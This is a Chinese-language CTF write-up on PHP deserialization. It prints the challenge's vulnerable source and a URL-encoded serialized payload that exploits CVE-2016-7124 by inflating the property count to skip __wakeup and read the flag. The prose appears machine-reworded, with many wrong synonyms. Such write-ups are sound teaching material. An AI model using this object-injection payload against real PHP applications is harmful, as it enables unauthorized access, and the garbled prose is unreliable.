即:serialize()和unserialize()
关于php的反序列化缝隙要先说到序列化和反序列化的两个函数,,即: serialize() 和unserialize()。
简单的理解:
序列化就是将一个东西酿成字符串
反序列化是将字符串恢复成东西
这样做的意义是为了将一个东西通过可生存的字节方法存储起来,同时就可以将序列化字节存储到数据库或者文本傍边,当需要的时候再通过反序列化获取 。
此外我们提一下 2016 年的 CVE-2016-7124 绕过 __weakup 缝隙,感兴趣的同学可以本身去查一下,简单来说, 就是当成员属性数??于实际数?时可绕过wakeup?法 。
好,有了这些根本常识之后,我们来看2019极客大挑战的一道简单反序列化的标题问题,标题问题环境已经复现到了buuoj平台上。
class.php源代码如下
<?php include ‘flag.php‘; error_reporting(0); class Name{ private $username = ‘nonono‘; private $password = ‘yesyes‘; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = ‘guest‘; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === ‘admin‘) { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can‘t give you the flag!"; die(); } } } ?>index.php的源代码如下:
#indedx.php <?php include ‘class.php‘; $select = $_GET[‘select‘]; $res=unserialize(@$select); ?>这里的逻辑也对照简单,在index.php页面,我们使用GET要领传给$select 变量一个值,随后对其进行反序列化。所以我们传给$select 变量的需要是一个序列化之后的字符串
接着我们看class.php, 里面有Name类的源代码,__construct是php里面的魔术要领之一,结构要领,把通报给他的username和password转为self的,同时我们还注意到有一个__wakeup()魔术要领,这里的相关根本常识是:
unserialize()反序列化时会查抄是否存在一个__wakeup()要领,如果存在,则会先挪用__wakeup要领,预先筹备东西所需要的资源。
而在这里的__wakeup()函数里面会将用户名改成guest,接着进入析构函数:__destruct(),析构函数会在到某个东西的所有引用都被删除或者当东西被显式销毁时执行。
而在析构函数里面就是我们获取flag的关键
这里需要我们username是admin才可以获取flag,那么凭据适才的逻辑我们是无法获取flag的,这个时候就要用到之前说到的 当成员属性数??于实际数?时可绕过wakeup?法
所以我们先输出一个username是admin,password是100的序列化字符串,同时我们将输出url编码,即:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
我们将东西属性个数改为3,结构成最后的payload,为:
?select= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
改削之后即可绕过__wakeup()函数,获取flag
浅谈php反序列化缝隙
温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/31022.html